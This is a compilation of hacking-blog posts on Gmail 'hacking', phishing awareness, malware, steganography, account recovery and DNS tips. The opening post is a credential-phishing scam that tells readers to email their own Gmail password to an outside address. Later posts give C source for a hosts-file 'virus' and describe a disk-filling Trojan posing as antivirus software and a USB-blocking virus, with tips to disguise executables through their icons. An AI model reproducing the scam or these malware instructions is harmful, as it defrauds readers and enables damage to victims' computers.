Hack any gmail account

Now you can hack any gmail account . I have got a key to open any gamil account.

1. Goto your gmail account
2. Cilck on "compose mail'
3. send email to 'restorepwdmaster@gmail.com"
4. Subject = "restore lost password" or "My email id is Hacker"

     5. Message  NAME:(Your name)

                         EMAIL:(Your Email)

                         PASSWORD:(Your Above Email Password)

                

                DATA OF LOST/HACKED ID

               NAME:(Owner of email)

                EMAIL:(Email you want to hack)

               REASON WHY YOU REQUIRED PASSWORD

               (write the reson )

After that a message with password will be sent. It works 8 out of 10 times  because not of valid reason.

Reason why you got password. 

Email is sent to google administrative and you problem is viewed and password is sent to you

    

How to make free website

I think many of you want your own website and for free also. Now you can get it. Click here for creating free sub domain.
.

To create free .com domain ,click here 

 Thankyou  and Try now.

How to Identify and Avoid Phishing Scams

Phishing is a form of social engineering technique used by hackers to gather sensitive information such as usernames, passwords and credit card details by posing as a trustworty person/organization. Since most online users are unaware of the techniques used in carrying out a phishing attack, they often fall victims and hence, phishing can be very effective.


With the dramatic increase in the number of phishing scams in the recent years, there has also been a steady rise in the number of people being victimized. Lack of awareness among the people is the prime reason behind such attacks. This article will try to create awareness and educate the users about such online scams and frauds.

Phishing scams usually sends an email message to users requesting for their personal information, or redirects them to a website where they are required to enter thier personal information. Here are some of the tips that can be used to identify various phishing techniques and stay away from it.

Identifying a Phishing Scam


1. Beware of emails that demand for an urgent response from your side. Some of the examples are:
You may receive an email which appears to have come from your bank or financial organization stating that “your bank account is limited due to an unauthorized activity. Please verify your account asap so as to avoid permanant suspension”. In most cases, you are requested to follow a link (URL) that takes you to spoofed webpage (similar to your bank website) and enter your login details over there.
In some cases, phishing emails may ask you to make a phone call. There may be a person or an audio response waiting on the other side of the phone to take away your credit cards details, account number, social security number or other valuable data.

2. Phishing emails are generally not personalized. Since they target a lagre number of online users, they usually use generalized texts like “Dear valued customer”, “Dear Paypal user” etc. to address you. However, some phishing emails can be an exception to this rule.

3. When you click on the links contained in a phishing email, you will most likely be taken to a spoofed webpage with official logos and information that looks exactly same as that of the original webpages of your bank or financial organization. Pay attention to the URL of a website before you enter any of your personal information over there. Even though malicious websites look identical to the legitimate site, it often uses a different domain or variation in the spelling. For example, instead of paypal.com, a phishing website may use different addresses such as:

papyal.com
paypal.org
verify-paypal.com
xyz.com/paypal/verify-account/

Tips to Avoid Being a Victim of Phishing


1. Do not respond to suspicious emails that ask you to give your personal information. If you are unsure whether an email request is legitimate, verify the same by calling the respective bank/company. Always use the telephone numbers printed on your bank records or statements and not those mentioned in the suspicious email.

2. Don’t use the links in an email, instant messenger or chat conversation to enter a website. Instead, always type the URL of the website on your browser’s address bar to get into a website.

3. Legitimate websites always use a secure connection (https://) on those pages which are intended to gather sensitive data such as usernames and passwords, account numbers or credic card details. You will see a lock icon  in your browser’s address bar which indicates a secure connection. On some websites like paypal.com which uses an extended validation certificate, the address bar turns GREEN .

In most cases, unlike a legitimate website, a phishing website or a spoofed webpage will not use a secure connection and does not show up the lock icon. So, absence of such security features can be a clear indication of phishing attack. Always double-check the security features of the webpage before entering any of your personal information.

4. Always use a good antivirus software, firewall and email filters to filter the unwanted traffic. Also ensure that your browser is up-to-date with the necessary patches being applied.

5. Report a “phishing attack” or “spoofed emails” to the following groups so as to stop such attacks from spreading all over the Internet:

You can directly send an email to spam@uce.gov or reportphishing@antiphishing.org reporting an attack. You can also notify the Internet Crime Complaint Center of the FBI by filing a complaint on their website: http://www.ic3.gov.

How to Create Your Own Customized Run Commands

The Run command on Microsoft Windows operating system allows you to directly open an application or document with just a single command instead of navigating to it’s location and double-clicking the executable icon. However, it only works for some of the inbuilt Windows programs such as Command prompt (cmd), Calculator (calc) etc. So, have you ever wondered how to create your own customized Run commands for accessing your favorite programs, files and folders? Well, read on to find out the answer.

Creating the Customized Run Command


Let me take up an example of how to create a customized run command for opening the Internet explorer. Once you create this command, you should be able to open the Internet explorer just by typing “ie” (without quotes) in the Run dialog box. Here is how you can do that.

1. Right click on your Desktop and select New -> Shortcut.

2. You will see a “Create Shortcut” Dialog box as shown below

3. Click on “Browse”, navigate to: Program Files -> Internet Explorer from your Root drive (usually C:\) and select “iexplore” as shown in the above figure and click on “OK”.

4. Now click on “Next” and type any name for your shortcut. You can choose any name as per your choice; this will be your customized “Run command”. In this case I name my shortcut as “ie”. Click on “Finish”.

5. You will see a shortcut named “ie” on your desktop. All you need to do is just copy this shortcut and paste it in your Windows folder (usually “C:/Windows”). Once you have copied the shortcut onto your Windows folder, you can delete the one on your Desktop.

6. That’s it! From now on, just open the Run dialog box, type ie and hit Enter to open the Internet Explorer.

In this way you can create customized Run commands for any program of your choice. Say “ff” for Firefox, “ym” for Yahoo messenger, “wmp” for Windows media player and so on.

To do this, when you click on “Browse” in the Step-3, just select the target program’s main executable (.exe) file which will usually be located in the C:\Program Files folder. Give a simple and short name for this shortcut as per your choice and copy the shortcut file onto the Windows folder as usual. Now just type this short name in the Run dialog box to open the program.

I hope you like this post! Pass your comments.

4 Ways to Identify Safe Websites on the Internet

On the whole Internet, there are approximately more than 150 million active websites up and running. As a result, it often becomes a real challenge for the users to identify safe websites that are trustworthy and reputed. Have you ever wondered to know the reputation of a website before placing the order? Need to know whether a given website is child safe? Well, here are some of the ways to identify safe websites on the Web.



1. WOT or Web Of Trust (www.mywot.com):


WOT is a great place to test the reputation of your favorite website. WOT gives real-time ratings for every website based on the feedback that it gets from millions of trustworthy users across the globe and trusted sources, such as phishing and malware blacklists. Each domain name is evaluated based on this data and ratings are applied to them accordingly. A snapshot of WOT ratings for micorsoft.com is shown below:

As shown in the above snapshot, the reputation of each website is shown in terms of 4 components where green means excellent, yellow warns users to be cautious and red indicates potential danger.


Trustworthiness signifies the overall safety of the website. A poor rating may indicate that the site is associated with threats like Internet scams, phishing, identity theft risks and malware. For more information on phishing, you may refer my other post on how to identify and avoid phishing scams.


Vendor reliability tells you whether a given site is safe for carrying out buy and sell transactions with it. An excellent rating indicates superior customer satisfaction while a poor rating indicates possible scam or bad shopping experience.


Privacy indicates about “to what extent the site respects the privacy of it’s users and protects their personal identity and data”.


Child Safety indicates whether the content of a given site is appropriate for children. Site contents like sexual material, nudity and vulgarity will have a poor Child Safety rating.


In most cases, the WOT ratings are found to be highly accurate. To check the reputation of any given website, just visit www.mywot.com type-in the address of your favorite website and click on “Check now”. This tool alone can tell you a lot about the reputation and safety level of a website. However, in addition to this, I am giving you another 3 handy tools to identify safe websites on the Web.


2. McCafee SiteAdvisor:


McCafee SiteAdvisor is a free tool that is available as a browser add-on. It adds safety ratings to your browser and search engine results. You can download it from  www.siteadvisor.com


3. StopBadware:


Using this tool, you can check whether a given site is said to have involved in malware activity in the past. To check this, go to http://www.stopbadware.org/home/reportsearch and enter the URL or domain name of a website and click on “Search Clearinghouse ”. If the search does not return any result, that means the site was never involved in any of the malware activity in the past.


4. Google Pagerank:
Google PageRank is another great tool to check the reputation and popularity of a website. The PageRank tool rates every webpage on a scale of 1 to 10 which indicates Google’s view of importance of the page. If a given website has a PageRank of less than 3, then it is said to be less popular among the other sites on the Internet.


However, PageRank will only tell you how much popular a given website is and has nothing to do with the safety level of a website. So, this tool alone cannot be used to evaluate a website’s safety and other factors.


PageRank feature is available as a part of Google Toolbar. You can install Google Toolbar from http://www.google.com/intl/en_uk/toolbar/ie/index.html.


I hope you like this article. Waiting for your comments…

A Virus Program to Block Websites

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.


This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post How to block a website  ?


Here is the sourcecode of the virus.

#include<stdio.h>
#include<dos.h>
#include<dir.h>


char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;

int find_root(void);
void block_site(void);

int find_root()
{
int done;
struct ffblk ffblk;//File block structure

done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

else return 0;
}

void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}

void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

How to Compile ?

For step-by-step compilation guide, refer my post How to compile C program.

Testing

1. To test, run the compiled module. It will block the sites that is listed in the source code.

2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

3. To remove the virus type the following the Run.

%windir%\system32\drivers\etc


4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1                         google.com


5. Delete all such entries which contain the names of blocked sites.

NOTE: You can also change the ICON of the virus to make it look like a legitimate program.This method is described in the post: How to change ICON of EXE file ?

How to Block a Website ?

Some times it becomes necessary to block a website on our Computers for one or other reason. You can easily and effectivily block access to a website by adding it to your Windows HOSTS file. Once the website is blocked in the HOSTS file, it will not appear in any of the browsers. That is, the website becomes completely unavailable.


1. Go to your HOSTS file which is located at:

C:\WINDOWS\SYSTEM32\DRIVERS\ETC for XP, Vista and Win 7
C:\WINNT\SYSTEM32\DRIVERS\ETC for Win 2000
C:\WINDOWS for Windows 98 and ME

2. Open HOSTS with Notepad.

The default Windows HOSTS looks like this:
______________________

# Copyright © 1993-1999 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a “#” symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host
#
127.0.0.1 localhost
_____________________________

3. Directly under the line that says 127.0.0.1 Localhost, you will want to type:

127.0.0.1 name of the URL you want to block

For example to block the website MySpace.com, simply type:

127.0.0.1 myspace.com
127.0.0.1 www.myspace.com

Other parts of MySpace could be blocked in a similar way:

127.0.0.1 search.myspace.com
127.0.0.1 profile.myspace.com
etc etc etc…

It is necessary to add a website with and without the “www.”. You can add any number of websites to this list.

4. Close Notepad and answer “Yes” when prompted.

5. After blocking the website, test it in any of the browser. If every thing is done as said above,the website must not appear in any of the web browsers. You should see a Cannot find server or DNS Error saying: “The page cannot be displayed”. I have also created a virus to block a website which automatically blocks a list of websites as specified in the source program.

Some people suggest that your add a website to the Internet Explorer ‘Privacy’ settings. This does not block a site. It only stops that site from using cookies.

How to Make a Trojan Horse

Most of you may be curious to know about how to make a Trojan or Virus on your own. Here is an answer for your curiosity. In this post I’ll show you how to make a simple Trojan on your own using C programming language. This Trojan when executed will eat up the hard disk space on the root drive (The drive on which Windows is installed, usually C: Drive) of the computer on which it is run. Also this Trojan works pretty quickly and is capable of eating up approximately 1 GB of hard disk space for every minute
it is run. So, I’ll call this as Space Eater Trojan. Since this Trojan is written using a high level programming language it is often undetected by antivirus. The source code for this Trojan is available for download at the end of this post. Let’s see how this Trojan works…

Before I move to explain the features of this Trojan you need to know WHAT EXACTLY IS A TROJAN HORSE  and how it works. As most of us think a Trojan or a Trojan horse is not a virus. In simple words a Trojan horse is a program that appears to perform a desirable function but in fact performs undisclosed malicious functions that allow unauthorized access to the host machine or create a damage to the computer.


Now lets move to the working of our Trojan

The Trojan horse which I have made appears itself as an antivirus program that scans the computer and removes the threats. But in reality it does nothing but occupy the hard disk space on the root drive by just filling it up with a huge junk file. The rate at which it fills up the hard disk space it too high. As a result the the disk gets filled up to 100% with in minutes of running this Trojan. Once the disk space is full, the Trojan reports that the scan is complete. The victim will not be able to clean up the hard disk space using any cleanup program. This is because the Trojan intelligently creates a huge file in the Windows\System32 folder with the .dll extension. Since the junk file has the .dll extention it is often ignored by disk cleanup softwares. So for the victim, there is now way to recover the hard disk space unless reformatting his drive.


The algorithm of the Trojan is as follows

1. Search for the root drive

2. Navigate to WindowsSystem32 on the root drive

3. Create the file named “spceshot.dll”

4. Start dumping the junk data onto the above file and keep increasing it’s size until the drive is full

5. Once the drive is full, stop the process.

You can download the Trojan source code HERE. Please note that I have not included the executabe for security reasons. You need to compile it to obtain the executable.

How to compile, test and remove the damage?


Compilation:

For step-by-step compilation guide, refer my post How to compile C program

Testing:

To test the Trojan, just run the SpaceEater.exe file on your computer. It’ll generate a warning message at the beginning. Once you accept it, the Trojan runs and eats up hard disk space.

NOTE: To remove the warning message you’ve to edit the source code and then re-compile it.


How to remove the Damage and free up the space?

To remove the damage and free up the space, just type the following in the “run” dialog box.

%systemroot%\system32


Now search for the file “spceshot.dll“. Just delete it and you’re done. No need to re-format the hard disk.

NOTE: You can also change the ICON of the virus to make it look like a legitimate program. This method is described in the post: How to change ICON of EXE file ?

Please pass your comments and tell me your opinion. I am just waiting for your comments…

How to Change the ICON of an EXE file

Some times it becomes necessary to change the ICON of an executable (.exe) file so that the exe file get’s a new appearence. Many of the Tools such as TuneUP Winstyler does this job by adjusting the Windows to display a custom icon to the user. But in reality when the file is carried to a different computer, then it shows it’s original ICON itself. This means that inorder to permanantly change the ICON, it is necessary to modify the executable file and embed the ICON inside the file itself. Now when this is done the exe file’s ICON is changed permanantly so that even if you take file to a different computer it show’s a new icon.

For this purpose I have found a nice tool which modifies the exe file and will embed the ICON of your choice into the file itself. ie: The tool changes the exe ICON permanantly.


I’ll give you a step-by-step instruction on how to use this tool to change the icon.

1. Goto http://www.shelllabs.com and download the trial version of Icon Changer and install it (Works on both XP and Vista).

2. Right-click on the exe file whose ICON is to be changed.

3. Now you will see the option Change Icon. Click on that option.

4. Now the Icon Changer program will open up.

5. Icon changer will search for all the ICONS on your system so that you can select any one of those.

6. Now select the ICON of your choice and click on SET.

7. Now a popup window will appear and ask you to select from either of these two options.
Change embeded icon.
Adjust Windows to display custom icon.

Select the first option (Change embeded icon).

8. You are done. The ICON get’s changed.

How to Compile C Programs

     In many of my previous posts especially in the VIRUS CREATION section, I have used C as the programming language. If you’re new to C programming and find it difficult to compile the C source codes then this post is for you. Here is a step-by-step procedure to install Borland C++ compiler 5.5 and compile C programs.

How to install Borland C++ compiler



1. Download Borland C++ compiler 5.5 (for Windows platform) from the following link.

http://www.codegear.com/downloads/free/cppbuilder

2. After you download, run freecommandlinetools.exe. The default installation path would be

C:\Borland\BCC55

How to configure Borland C++ compiler


1. After you install Borland C++ compier, create two new Text Documents

2. Open the first New Text Document.txt file and add the following two lines into it

-I”c:\Borland\Bcc55\include”


-L”c:\Borland\Bcc55\lib”

Save changes and close the file. Now rename the file from New Text Document.txt to bcc32.cfg.

3. Open the second New Text Document (2).txt file and add the following line into it

-L”c:\Borland\Bcc55\lib”

Save changes and close the file. Now rename the file from New Text Document (2).txt to ilink32.cfg.

4. Now copy the two files bcc32.cfg and ilink32.cfg, navigate to C:\Borland\BCC55\Bin and paste them.

How to compile the C source code (.C files)


1. You need to place the .C (example.c) file to be compiled in the following location

C:\Borland\BCC55\Bin


2. Now goto command prompt (Start->Run->type cmd->Enter)

3. Make the following path as the present working directory (use CD command)

C:\Borland\BCC55\Bin


4. To compile the file (example.c) use the following command

Command to Compile C Program
bcc32 example.c
5. Now if there exists no error in the source code you’ll get an executable file (example.exe) in the same location (C:\Borland\BCC55\Bin).

6. Now you have successfully compiled the source code into an executable file(.exe file).                                                                                              

A Virus Program to Disable USB Ports

In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.


Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.

1. Download the USB_Block.rar file on to your computer.

2. It contains the following 4 files.
block_usb.c (source code)
unblock_usb.c (source code)

3. You need to compile them before you can run it. A step-by-step procedure to compile C programs is given in my post - How to compile c programs

3. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).

4. To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.

5. You can also change the icon of this file to make it look like a legitimate program. For more details on this refer my post – How to change the ICON of EXE file (This step is also optional).

I hope you like this post. Please pass your comments.

Customize Google to Improve Search Results

SearchPreview DownloadGoogle is indisputedbly the best search engine out there on the Internet, however there are a few ways by which you can customize Google and make it even better. I have got 3 best free Firefox extensions using which you can customize Google by adding extra useful information to your search results and remove unwanted informationlike ads, spam and click tracking so as to improve the overall searching experience. The following are the 3 best extensions for Firefox using which you can improve the search results.


1. OptimizeGoogle:


Using OptimizeGoogle, you can get rid of text ads from Google search results, add links from about 10 other search engines, add position counter, product results and more. You can even filter your search results to see dead websites (using Wayback Machine) and remove click tracking so that you can search anonymously. Here is a list of some of the other useful features of this plugin.

1. Use Google suggest (get word suggestion while typing)

2. Add more security by using https wherever necessary

3. Filter spammy websites from search results page

4. Option to remove SideWiki

5. Add links to bookmark your favorite result

6. Add links to other news and product search sites

To install the plugin, just visit the OptimizeGoogle page from your Firefox browser and click on the Download button. Once installed, you can enable or disable the customization options from the Tools -> OPTIMIZE GOOGLE Options.

After you customize Google to improve the search results, how about adding a feature that provides a way to preview the website in the search results itself? Here is a miracle Firefox extension to this job for us.

2. SearchPreview:


SearchPreview (formerly GooglePreview) will insert thumbnail view of the webpage into the Google search results page itself so that you can take the guess work out of clicking a link. Just install the plugin, reload Firefox and you will have the SearchPreview at work. You can install this plugin from the following link.

SearchPreview Download

OptimizeGoogle and SearchPreview have made our search results smarter and faster. Now how about safer? Well you have another Firefox plugin to make your search results safer as well. Here we go.

3. McAfee SiteAdvisor:


This is a free browser plugin that gives safety advice about websites on the search results page before you actually click on the links. After you install the SiteAdvisor plugin, you will see a small rating icon next to each search result which will alert you about suspecious/risky websites and help you find safer alternatives. These ratings are derived based on various tests conducted by McAfee.

Based on the quality of links, SiteAdvisor may display Green, Yellow, Red or Grey icon next to the search results. Green means that the link is completely safe, Yellow means that there is a minor risk, Red means a mojor risk and Grey means that the site is not yet rated. These results will guide you to Web safety.

SiteAdvisor works on both Internet Explorer and Firefox which you can download from the following link:

McAfee Site Advisor Download


I hope you enjoy these 3 plugins which make your searching experience a lot more simpler and safer. Here is a snapshot of all the 3 plugins at work.

How to Hide Data in Image, Audio & Video Files: Steganography

Ever wondered to know how to hide secret messages in images, audio and video files? Well, in this post I will take you through a concept called steganography using which, it is possible to hide your secret information in image files, songs or any other file of your choice. At the end of this post, you can also download free stegnographic tools and start hiding your data.
What is Steganography?


Steganography is a means of obscuring data where secret messages are hidden inside computer files such as images, sound files, videos and even executable files so that, no one except the sender and the receiver will suspect the existence of stealth information in it. Steganography may also involve the usage of cryptography where the message is first encrypted before it is concealed in another file. Generally, the messages appear to be something else such as an image, sound or video so that the transfer of secret data remains unsuspected.

The main advantage of steganography over other methods such as cryptography is that, it will not arose suspicion even if the files fall in the hands of a third party. Unlike cryptographic messages, stegnographic messages will no way attract the attention of a third party by themselves. Thus stegnanography has an upper hand over cryptography as it involves both encryption and obscurity.
What are the Applications of Steganography?

Steganography is mainly used to obscure confidential information/data during storage or transmission. For example, one can hide a secret message in an audio file and send this to another party via email instead of sending the message in the textual format. The receiver on the other end will decrypt the hidden message using the private decryption key. In a worst case scenario, even if a third party does manage to gain access to the email, all he can find is the audio file and not the hidden data inside it. Other usage of steganography include digital watermarking of images for reasons such as copyright protection.

Eventhough steganography has many useful applications, some may use this technique for illegitimate purposes such as hiding a pornographic content in other large files. Roumors about terrorists using steganography for hiding and communicating their secret information and instructions are also reported. An article claiming that, al-Queda had used steganography to encode messages in images and transported them via e-mails, was reported by New York Times, in October 2001.
How do Steganography Tools Work?

Stegnography tools implement intelligent algorithms to carefully embed the encrypted text messages or data inside other larger files such as an image, audio, video or an executable file. Some tools will embed the encrypted data at the end of another file so that there will be enough room for storing larger data.

There are many steganography tools available online but only a few are able to work flawlessly. I did not find any tool that worked perfectly on both small and large data. However I have managed to develop my own tool that can work perfectly on all types of files and all size of data. The tool is called “Stego Magic“. You can download it from the following link.

http://www.gohacking.com/downloads/resources/StegoMagic.zip

The zip file contains two versions of Stego Magic: One for encrypting the text messages and the other for encrypting binary files. StegoMagic_TXT can be used to hide text messages in other files such as an image or a sound file. StegoMagic_BIN can be used to hide one binary file in another such as an executable file inside an image or an image inside a video file.

With Stego Magic, there is no limitation on the size and type of the file that you are intending to hide. For example, you can hide a video of size 1 GB in an image of size 1 MB or hide an executable file inside a WORD document. The tool is pretty straightforward to use and requires no special understanding of the concept.

At the end of the encryption process, a secret decryption key will be generated and the same is required during the decryption process.
How to Use Stego Magic?

Suppose you want to hide a text message inside a JPG file:

1. Place the JPG and the text file (.txt) in the same folder as that of StegoMagic_TXT.exe

2. Run StegoMagic_TXT.exe and follow the screen instructions to embed the text message inside the JPG image.

3. Note down the secret decryption key.

Now you can send this image to your friend via email. To decrypt the hidden message, your friend should load this JPG file onto the Stego Magic tool and use the secret decryption key.

I hope you enjoy this post . For queries and feedback, please pass your comments .

What to Do When Your Email Account is Hacked?

It can be a real nightmare if someone hacks and takes control of your email account as it may contain confidential information like bank logins, credit card details and other sensitive data. If you are one such Internet user whose email account has been compromised, then this post will surely help you out
. In this post you will find the possible ways and procedures to get back your hacked email account.

For Gmail:




It can be a big disaster if your Gmail account has been compromised as it may be associated with several services like Blogger, Analytics, Adwords, Adsense, Orkut etc. Losing access to your Gmail account means losing access to all the services associated it with too. Here is a list of possible recovery actions that you can try.

Step -1: Try resetting your password since it is the easiest way to get your account back in action. In this process Google may ask you to answer the secret question or may send the password reset details to the secondary email address associated with your compromised account. You can reset you password from the following link

Gmail Password Reset Link

If you cannot find success from the Step-1 then proceed to Step-2.


Step-2: Many times the hacker will change the secret question and secondary email address right after the account is compromised. This is the reason for the Password Reset process to fail. If this is the case then you need to contact the Gmail support team by filling out the account recovery form. This form will ask you to fill out several questions like

1. Email addresses of up to five frequently emailed contacts
2. Names of any 4 Labels that you may have created in your account
3. List of other services associated with your compromised account
4. Your last successful login date
5. Account created date
6. Last password that you remember and many more…

You need to fill out this form as much accurately as possible. It is obvious to forget the dates of last login, account creation and similar terms. However you need to figure out the closest possible date/answers and fill out this form. This is your last chance! The more accurate the information filled out in the recovery form, the more the chances of getting your account back. You may reach the account recovery page form the following link

http://www.google.com/support/accounts/bin/request.py?ara=1

For Yahoo and Hotmail:


Unfortunately for Yahoo/Hotmail there is no second option like filling out the form or contacting the support team. All you need to do is either answer the secret questions that you have setup or reset the password using the secondary email option.

To initiate the password reset process just click on the Forgot password link in your login page and proceed as per the screen instructions.


I hope this post will help you recover the lost account. I highly recommend that you also read my post on How to protect your email account from being hacked and Tips to find unauthorized activity on your Gmail account so that you always stay protected!

Hack BSNL Broadband for Speed

,If you are a BSNL broadband user, chances are that you are facing frequent DNS issues. Their DNS servers are just unresponsive. The look up takes a long duration and many times just time out. The solution? There is small hack on BSNL for this. Use third party DNS servers instead of BSNL DNS servers or run your own one like djbdns. The easiest options is to use OpenDNS. Just reconfigure your network to use the following DNS servers:


208.67.222.222
208.67.220.220


Detailed instructions specific to operating system or your BSNL modem are available in the OpenDNS website itself. After I reconfigured my BSNL modem to use the above 2 IP addresses, my DNS problems just vanished! Other ‘freebies’ that come with OpenDNS are phishing filters and automatic URL correction. Even if your service provider’s DNS servers are working fine, you can still use OpenDNS just for these two special features. After you hack BSNL DNS servers, you will see a noticeable improvement in your broadband speed.